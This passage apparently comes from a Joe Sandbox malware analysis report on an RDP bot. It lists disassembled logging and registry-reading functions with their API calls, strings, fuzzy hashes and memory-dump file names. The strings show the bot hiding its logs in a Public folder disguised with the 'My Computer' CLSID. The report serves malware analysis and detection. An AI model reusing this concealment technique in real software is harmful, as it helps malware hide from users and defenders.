debug_init, xrefs: 00007FF8B915154E, 00007FF8B9151573, 00007FF8B915159B, 00007FF8B9151660, 00007FF8B91516D4
log, xrefs: 00007FF8B9151517
[I] (%s) -> %s, xrefs: 00007FF8B91516DB
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B915157A
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8B9151667
P, xrefs: 00007FF8B915161A

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$samctl.l$~
API String ID: 3395718042-1297835036
Opcode ID: 1150151ec345bf13c3b31c0e9be5a53ea1ef8a6f05555bc19399344b667da666
Instruction ID: e442ea59e8dc304b59acd59e54db474d07a9e0df6202cd59620257942e7cc784
Opcode Fuzzy Hash: 1150151ec345bf13c3b31c0e9be5a53ea1ef8a6f05555bc19399344b667da666
Instruction Fuzzy Hash: 10517050E1C7D385FA229F0DB8A03B81255AF467C4F958432DB0E5A6D2DEACF946F341

Function 00007FF8BFABA3AC Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFABA3CC
GetLastError.KERNEL32 ref: 00007FF8BFABA500

Part of subcall function 00007FF8BFAB7140: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFAB715E

strlen.MSVCRT ref: 00007FF8BFABA41E
strlen.MSVCRT ref: 00007FF8BFABA43A
strcat.MSVCRT ref: 00007FF8BFABA455
strlen.MSVCRT ref: 00007FF8BFABA45D
strlen.MSVCRT ref: 00007FF8BFABA472
fopen.MSVCRT ref: 00007FF8BFABA498

Strings

[I] (%s) -> %s, xrefs: 00007FF8BFABA64B
, xrefs: 00007FF8BFABA51E
~, xrefs: 00007FF8BFABA585
log, xrefs: 00007FF8BFABA487
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BFABA512
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BFABA4C5
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFABA4EA
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log, xrefs: 00007FF8BFABA3FE, 00007FF8BFABA414, 00007FF8BFABA44B, 00007FF8BFABA468, 00007FF8BFABA4B7
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BFABA5D7
debug_init, xrefs: 00007FF8BFABA4BE, 00007FF8BFABA4E3, 00007FF8BFABA50B, 00007FF8BFABA5D0, 00007FF8BFABA644
Done, xrefs: 00007FF8BFABA63D
evtsrv.l, xrefs: 00007FF8BFABA47A
P, xrefs: 00007FF8BFABA58A

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$evtsrv.l$log$~
API String ID: 3395718042-190452282
Opcode ID: 812d47fff8b64de28eadb4b284417ff33b11a0d1b38bd8777733dc5e58d56bcb
Instruction ID: 5cc94355ab67ef999a51a796717c92ce8426d050c0503c75da9e02fc1efa18ab
Opcode Fuzzy Hash: 812d47fff8b64de28eadb4b284417ff33b11a0d1b38bd8777733dc5e58d56bcb
Instruction Fuzzy Hash: EF516C51A0CA1795FA289BDCA8873B89394AF057CCF407132CF4E466A3DE6DB94A9301

Function 00007FF8BA50143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BA50145C
GetLastError.KERNEL32 ref: 00007FF8BA501590

Part of subcall function 00007FF8BA509CC0: GetModuleHandleExA.KERNEL32 ref: 00007FF8BA509CDE

strlen.MSVCRT ref: 00007FF8BA5014AE
strlen.MSVCRT ref: 00007FF8BA5014CA
strcat.MSVCRT ref: 00007FF8BA5014E5
strlen.MSVCRT ref: 00007FF8BA5014ED
strlen.MSVCRT ref: 00007FF8BA501502
fopen.MSVCRT ref: 00007FF8BA501528

Strings

Done, xrefs: 00007FF8BA5016CD
prgmgr.l, xrefs: 00007FF8BA50150A
P, xrefs: 00007FF8BA50161A
log, xrefs: 00007FF8BA501517
, xrefs: 00007FF8BA5015AE
debug_init, xrefs: 00007FF8BA50154E, 00007FF8BA501573, 00007FF8BA50159B, 00007FF8BA501660, 00007FF8BA5016D4
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA50157A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BA5015A2
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BA501667
~, xrefs: 00007FF8BA501615
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BA501555
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log, xrefs: 00007FF8BA50148E, 00007FF8BA5014A4, 00007FF8BA5014DB, 00007FF8BA5014F8, 00007FF8BA501547
[I] (%s) -> %s, xrefs: 00007FF8BA5016DB

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$prgmgr.l$~
API String ID: 3395718042-2735303109
Opcode ID: b880186cb09fe9418d3488624d1c28ca1e4f32ba72a4e66950c71ccbecef1740
Instruction ID: bd1cf26413e85b095482649eefaab0330385fecad357a035b070aad4dcf00b4b
Opcode Fuzzy Hash: b880186cb09fe9418d3488624d1c28ca1e4f32ba72a4e66950c71ccbecef1740
Instruction Fuzzy Hash: 18511A60E0C603C6FA6097DDACD03BA1294BF177C4F9440B7DF0E4A6A2DE6DAB458742

Function 00007FF8B918143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B918145C
GetLastError.KERNEL32 ref: 00007FF8B9181590

Part of subcall function 00007FF8B9181770: GetModuleHandleExA.KERNEL32 ref: 00007FF8B918178E

strlen.MSVCRT ref: 00007FF8B91814AE
strlen.MSVCRT ref: 00007FF8B91814CA
strcat.MSVCRT ref: 00007FF8B91814E5
strlen.MSVCRT ref: 00007FF8B91814ED
strlen.MSVCRT ref: 00007FF8B9181502
fopen.MSVCRT ref: 00007FF8B9181528

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log, xrefs: 00007FF8B918148E, 00007FF8B91814A4, 00007FF8B91814DB, 00007FF8B91814F8, 00007FF8B9181547
log, xrefs: 00007FF8B9181517
rdpctl.l, xrefs: 00007FF8B918150A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B918157A
[I] (%s) -> %s, xrefs: 00007FF8B91816DB
~, xrefs: 00007FF8B9181615
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8B9181667
, xrefs: 00007FF8B91815AE
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8B91815A2
P, xrefs: 00007FF8B918161A
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8B9181555
debug_init, xrefs: 00007FF8B918154E, 00007FF8B9181573, 00007FF8B918159B, 00007FF8B9181660, 00007FF8B91816D4
Done, xrefs: 00007FF8B91816CD

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$rdpctl.l$~
API String ID: 3395718042-1794035234
Opcode ID: 8b2556d2579fb226d3b412aa444ad6ae0953bae4d5ef3f896a350effe941be9c
Instruction ID: ace710477b1c52a3946b0cc539d886116048bd28471fdfb5dc040c43a8f0adef
Opcode Fuzzy Hash: 8b2556d2579fb226d3b412aa444ad6ae0953bae4d5ef3f896a350effe941be9c
Instruction Fuzzy Hash: 5A516092E0C7C381FA609F5DA8C03B91355AF067D4F9A8432DB4E06297DE6DA946F341

Function 00007FF8BFB59702 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BFB5975C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BFB598A4

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BFB598D2
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D
(value_sz != NULL), xrefs: 00007FF8BFB59862
P, xrefs: 00007FF8BFB5994F
P, xrefs: 00007FF8BFB59958
(value != NULL), xrefs: 00007FF8BFB5982F
(root != NULL), xrefs: 00007FF8BFB597C9
, xrefs: 00007FF8BFB598E7
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BFB59B9B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB597D7, 00007FF8BFB5980A, 00007FF8BFB5983D, 00007FF8BFB59870
, xrefs: 00007FF8BFB598DE
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFB5977E
registry_get_value, xrefs: 00007FF8BFB59777, 00007FF8BFB597D0, 00007FF8BFB59803, 00007FF8BFB59836, 00007FF8BFB59869, 00007FF8BFB598CB, 00007FF8BFB59A16, 00007FF8BFB59B94
(key != NULL), xrefs: 00007FF8BFB597FC
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFB597C2, 00007FF8BFB597F5, 00007FF8BFB59828, 00007FF8BFB5985B
NULL, xrefs: 00007FF8BFB598FE, 00007FF8BFB59BAC, 00007FF8BFB59BB8

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: add2c6f352bf346838c4181cb8fcec24f82c3f84547b9df47f0d9f61b9981692
Instruction ID: b3667a72461a579f01bd083bdf02c04c75045806a1d4aa2408a1437682ba8800
Opcode Fuzzy Hash: add2c6f352bf346838c4181cb8fcec24f82c3f84547b9df47f0d9f61b9981692
Instruction Fuzzy Hash: 9EA1482190C74B91FA30ABCCE8617B9B350AF407C8F541132DB5E46BA1EEADF995D342

Function 00007FF8BFB8D6C2 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BFB8D71C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BFB8D864

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

(value != NULL), xrefs: 00007FF8BFB8D7EF
, xrefs: 00007FF8BFB8D89E
registry_get_value, xrefs: 00007FF8BFB8D737, 00007FF8BFB8D790, 00007FF8BFB8D7C3, 00007FF8BFB8D7F6, 00007FF8BFB8D829, 00007FF8BFB8D88B, 00007FF8BFB8D9D6, 00007FF8BFB8DB54
P, xrefs: 00007FF8BFB8D918
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8D797, 00007FF8BFB8D7CA, 00007FF8BFB8D7FD, 00007FF8BFB8D830
(root != NULL), xrefs: 00007FF8BFB8D789
, xrefs: 00007FF8BFB8D8A7
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFB8D782, 00007FF8BFB8D7B5, 00007FF8BFB8D7E8, 00007FF8BFB8D81B
P, xrefs: 00007FF8BFB8D90F
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFB8D73E
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BFB8DB5B
NULL, xrefs: 00007FF8BFB8D8BE, 00007FF8BFB8DB6C, 00007FF8BFB8DB78
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BFB8D892
(key != NULL), xrefs: 00007FF8BFB8D7BC
(value_sz != NULL), xrefs: 00007FF8BFB8D822
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: e0d0507b3a6c418314780e5cd595686b87934a5845e747169805726748d1ec43
Instruction ID: 521b050ca184c651ed9dfebace145161b87e1e72b4d62eb84e868271a24a3956
Opcode Fuzzy Hash: e0d0507b3a6c418314780e5cd595686b87934a5845e747169805726748d1ec43
Instruction Fuzzy Hash: 28A14921A0C74B91FB60ABCCE8403B97351AF887C4F544133CB4E46697EEADE985C362

Function 00007FF8B915B0E2 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8B915B13C
RegQueryValueExA.ADVAPI32 ref: 00007FF8B915B284

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

(root != NULL), xrefs: 00007FF8B915B1A9
P, xrefs: 00007FF8B915B338
P, xrefs: 00007FF8B915B32F
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8B915B15E
(value != NULL), xrefs: 00007FF8B915B20F
registry_get_value, xrefs: 00007FF8B915B157, 00007FF8B915B1B0, 00007FF8B915B1E3, 00007FF8B915B216, 00007FF8B915B249, 00007FF8B915B2AB, 00007FF8B915B3F6, 00007FF8B915B574
, xrefs: 00007FF8B915B2C7
(key != NULL), xrefs: 00007FF8B915B1DC
NULL, xrefs: 00007FF8B915B2DE, 00007FF8B915B58C, 00007FF8B915B598
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915B1B7, 00007FF8B915B1EA, 00007FF8B915B21D, 00007FF8B915B250
, xrefs: 00007FF8B915B2BE
(value_sz != NULL), xrefs: 00007FF8B915B242
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8B915B2B2
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8B915B57B
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8B915B1A2, 00007FF8B915B1D5, 00007FF8B915B208, 00007FF8B915B23B

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: 428d5fea51d9c1de1b694d77009b856a7566bb1f16a7a93045fe153b6cb68c6f
Instruction ID: 81286e7b30b63b9601357d47c3967e613c629b40faa304e186c319f18425bd9b
Opcode Fuzzy Hash: 428d5fea51d9c1de1b694d77009b856a7566bb1f16a7a93045fe153b6cb68c6f
Instruction Fuzzy Hash: CDA14B60E8C78B81F6619F2CA9403B82254AF403C8F568133DB5E56695EFADF985F342

Function 00007FF8BFAB7E42 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BFAB7E9C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BFAB7FE4

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

(key != NULL), xrefs: 00007FF8BFAB7F3C
, xrefs: 00007FF8BFAB8027
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFAB7F17, 00007FF8BFAB7F4A, 00007FF8BFAB7F7D, 00007FF8BFAB7FB0
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFAB7EBE
NULL, xrefs: 00007FF8BFAB803E, 00007FF8BFAB82EC, 00007FF8BFAB82F8
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFAB815D
, xrefs: 00007FF8BFAB801E
(value_sz != NULL), xrefs: 00007FF8BFAB7FA2
(value != NULL), xrefs: 00007FF8BFAB7F6F
P, xrefs: 00007FF8BFAB808F
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BFAB8012
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BFAB82DB
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFAB7F02, 00007FF8BFAB7F35, 00007FF8BFAB7F68, 00007FF8BFAB7F9B
P, xrefs: 00007FF8BFAB8098
registry_get_value, xrefs: 00007FF8BFAB7EB7, 00007FF8BFAB7F10, 00007FF8BFAB7F43, 00007FF8BFAB7F76, 00007FF8BFAB7FA9, 00007FF8BFAB800B, 00007FF8BFAB8156, 00007FF8BFAB82D4
(root != NULL), xrefs: 00007FF8BFAB7F09

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: a723a54cd343313568721d095f8a87cc706e6852ad108b433f86050c43f96ab7
Instruction ID: 6240b5449d1d1fc559b0a78201f5dea37e51c2a4e63e05ab43589d63e1ae002e
Opcode Fuzzy Hash: a723a54cd343313568721d095f8a87cc706e6852ad108b433f86050c43f96ab7
Instruction Fuzzy Hash: 55A1025190DB4B95F638A7CCBC43378A354AF087CCF542132DB1E46696EE6DE986D302

Function 00007FF8BA508702 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BA50875C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BA5088A4

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

, xrefs: 00007FF8BA5088DE
(root != NULL), xrefs: 00007FF8BA5087C9
P, xrefs: 00007FF8BA508958
P, xrefs: 00007FF8BA50894F
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BA508B9B
registry_get_value, xrefs: 00007FF8BA508777, 00007FF8BA5087D0, 00007FF8BA508803, 00007FF8BA508836, 00007FF8BA508869, 00007FF8BA5088CB, 00007FF8BA508A16, 00007FF8BA508B94
, xrefs: 00007FF8BA5088E7
(value != NULL), xrefs: 00007FF8BA50882F
(key != NULL), xrefs: 00007FF8BA5087FC
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BA5088D2
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BA50877E
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BA5087C2, 00007FF8BA5087F5, 00007FF8BA508828, 00007FF8BA50885B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA5087D7, 00007FF8BA50880A, 00007FF8BA50883D, 00007FF8BA508870
NULL, xrefs: 00007FF8BA5088FE, 00007FF8BA508BAC, 00007FF8BA508BB8
(value_sz != NULL), xrefs: 00007FF8BA508862
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA508A1D

Memory Dump Source

